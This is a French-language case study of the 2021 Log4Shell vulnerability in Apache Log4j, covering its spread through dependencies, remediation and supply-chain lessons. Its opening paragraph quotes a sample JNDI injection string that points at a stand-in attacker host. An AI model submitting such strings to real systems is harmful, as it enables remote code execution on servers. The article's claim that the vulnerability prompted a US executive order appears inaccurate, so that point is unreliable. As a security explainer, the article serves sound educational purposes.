En décembre 2021, une vulnérabilité zero-day critique (CVE-2021-44228, surnommée « Log4Shell ») a été découverte dans Apache Log4j, une bibliothèque de journalisation Java omniprésente utilisée dans des millions d'applications et de serveurs à travers le monde. La vulnérabilité permettait à un attaquant d'exécuter du code arbitraire sur un serveur en envoyant une chaîne spécialement conçue — aussi simple que saisir « ${jndi:ldap://attaquant.com} » dans un champ de connexion.
La vulnérabilité était catastrophique parce que Log4j était intégré dans un éventail considérable de logiciels : applications d'entreprise, services cloud, serveurs de jeux (Minecraft), appareils IoT et systèmes gouvernementaux. De nombreuses organisations ne savaient même pas qu'elles exécutaient Log4j, car il s'agissait d'une dépendance transitive enfouie profondément dans leur pile logicielle.
La Apache Software Foundation a publié des correctifs, mais la remédiation a été lente et complexe : les organisations devaient identifier chaque instance de Log4j dans leurs systèmes, corriger chacune d'elles et vérifier le correctif. La vulnérabilité a été activement exploitée dans les heures suivant sa divulgation. Le cas a illustré la fragilité de la chaîne d'approvisionnement logicielle moderne : une seule vulnérabilité dans une bibliothèque open source largement utilisée peut compromettre des millions de systèmes simultanément.
La faille Log4Shell dans Apache Log4j a laissé des millions de systèmes vulnérables, imposant un effort mondial de correction qui a coûté des milliards de dollars et des semaines de travail.
Log4j était intégré dans des millions d'applications en tant que dépendance transitive, souvent à l'insu des organisations qui l'exécutaient.
La vulnérabilité permettait l'exécution de code à distance avec une chaîne d'exploitation d'une simplicité triviale.
La remédiation a été lente parce que les organisations devaient trouver et corriger chaque instance de Log4j dans leur pile.
La vulnérabilité a été activement exploitée dans les heures suivant sa divulgation publique.
La leçon
La pile logicielle moderne est une tour de dépendances, et la plupart des organisations ne savent pas ce que contient la leur. Log4j était partout. La question n'est pas « sommes-nous affectés ? » mais « pouvons-nous le découvrir en premier ? »
Suites
Apache a publié des correctifs et la CVE s'est vu attribuer un score de gravité de 10.0. L'affaire a incité le gouvernement américain à publier un décret sur la sécurité de la chaîne d'approvisionnement logicielle et a accéléré l'adoption des nomenclatures logicielles (SBOM). Log4j reste une référence en matière de risque lié à la chaîne d'approvisionnement.
VÉRIFIEZ LES SOURCES